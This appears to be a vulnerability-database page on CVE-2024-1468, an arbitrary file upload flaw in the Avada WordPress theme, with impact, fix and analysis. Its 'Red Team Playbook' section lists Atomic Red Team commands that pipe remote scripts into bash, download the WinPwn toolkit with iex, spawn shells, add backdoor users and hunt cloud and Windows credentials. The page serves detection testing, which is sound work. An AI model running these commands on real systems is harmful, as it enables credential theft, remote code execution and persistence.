CVE-2024-1468
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types in the ajax_import_options() function within the Avada WordPress theme. The root cause lies in the absence of proper file type checks during the AJAX import process, allowing unauthorized file formats to be accepted. This issue affects the file upload handling mechanism of the theme component responsible for importing options.
Vulnerability Description
The Avada | Website Builder For WordPress & WooCommerce theme for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the ajax_import_options() function in all versions up to, and including, 7.11.4. This makes it possible for authenticated attackers, with contributor-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with contributor-level or higher privileges can exploit this vulnerability to upload arbitrary files, including web shells, to the server. This can lead to remote code execution, allowing full compromise of the affected site and underlying server. The exploit requires authentication (PR:L) but no user interaction (UI:N), with network access (AV:N) and low attack complexity (AC:L), resulting in high confidentiality, integrity, and availability impact as per the CVSS vector.
Solution
Users should upgrade the Avada WordPress theme to version 7.11.5 or later, where the file upload validation issue in ajax_import_options() has been addressed. Detailed patch instructions and version updates are available in the official Avada changelog at https://avada.com/documentation/avada-changelog/ and the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/cde6e758-9723-43f2-9972-32be8aeb2b91. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Avada theme for WordPress and WooCommerce arises from inadequate validation of file types within the ajax_import_options() function. This oversight allows authenticated users, specifically those with contributor-level access or higher, to upload arbitrary files to the server. The lack of stringent checks on file types means that attackers can exploit this weakness to upload malicious scripts or executables, potentially leading to remote code execution. This flaw is particularly concerning as it opens the door for attackers to execute arbitrary code on the server, compromising the integrity and confidentiality of the affected website.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could leverage their access to upload a malicious file disguised as a legitimate document, such as an image or a text file. Once uploaded, the attacker can execute the file, gaining unauthorized access to the server. This scenario could unfold in a multi-step process: first, the attacker gains contributor-level access, then they exploit the file upload functionality to introduce malicious payloads, and finally, they execute these payloads to gain control over the server environment. This method of attack is particularly insidious as it relies on the attacker having only minimal access rights, making it difficult for site administrators to detect and prevent such actions.
The real-world impact of this vulnerability is significant, especially for businesses relying on the Avada theme for their online presence. Successful exploitation can lead to data breaches, loss of sensitive customer information, and even complete server compromise. The ramifications extend beyond immediate technical concerns; businesses may face reputational damage, loss of customer trust, and potential legal liabilities, especially if sensitive data is exposed. Additionally, the financial implications of remediation efforts and potential downtime can be substantial, making this vulnerability a critical concern for organizations utilizing this theme.
To effectively detect and mitigate this vulnerability, organizations should implement several strategies. First, regular security audits and code reviews can help identify and rectify such weaknesses in the codebase. Employing a web application firewall (WAF) can also provide an additional layer of security by filtering out malicious requests and preventing unauthorized file uploads. Furthermore, it is crucial to restrict user permissions and ensure that only trusted users have the ability to upload files. Organizations should also keep their themes and plugins up to date, applying patches and updates promptly to mitigate known vulnerabilities. Educating users about secure practices and the importance of maintaining strong access controls can further reduce the risk of exploitation.
In conclusion, the vulnerability in the Avada theme poses a serious threat to the security of WordPress and WooCommerce sites. The potential for arbitrary file uploads leading to remote code execution highlights the importance of robust file validation mechanisms. Organizations must prioritize the detection and mitigation of such vulnerabilities to protect their digital assets and maintain the trust of their customers. By adopting a proactive security posture, including regular updates, user education, and stringent access controls, businesses can significantly reduce their risk exposure and enhance their overall cybersecurity resilience.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Theme-Fusion | Avada | All |
cpe:2.3:a:theme-fusion:avada:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-1468 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/cde6e758-9723-43f2-9972-32be8aeb2b91?source=cve |
| avada.com |
GitHub CVE
|
https://avada.com/documentation/avada-changelog/ |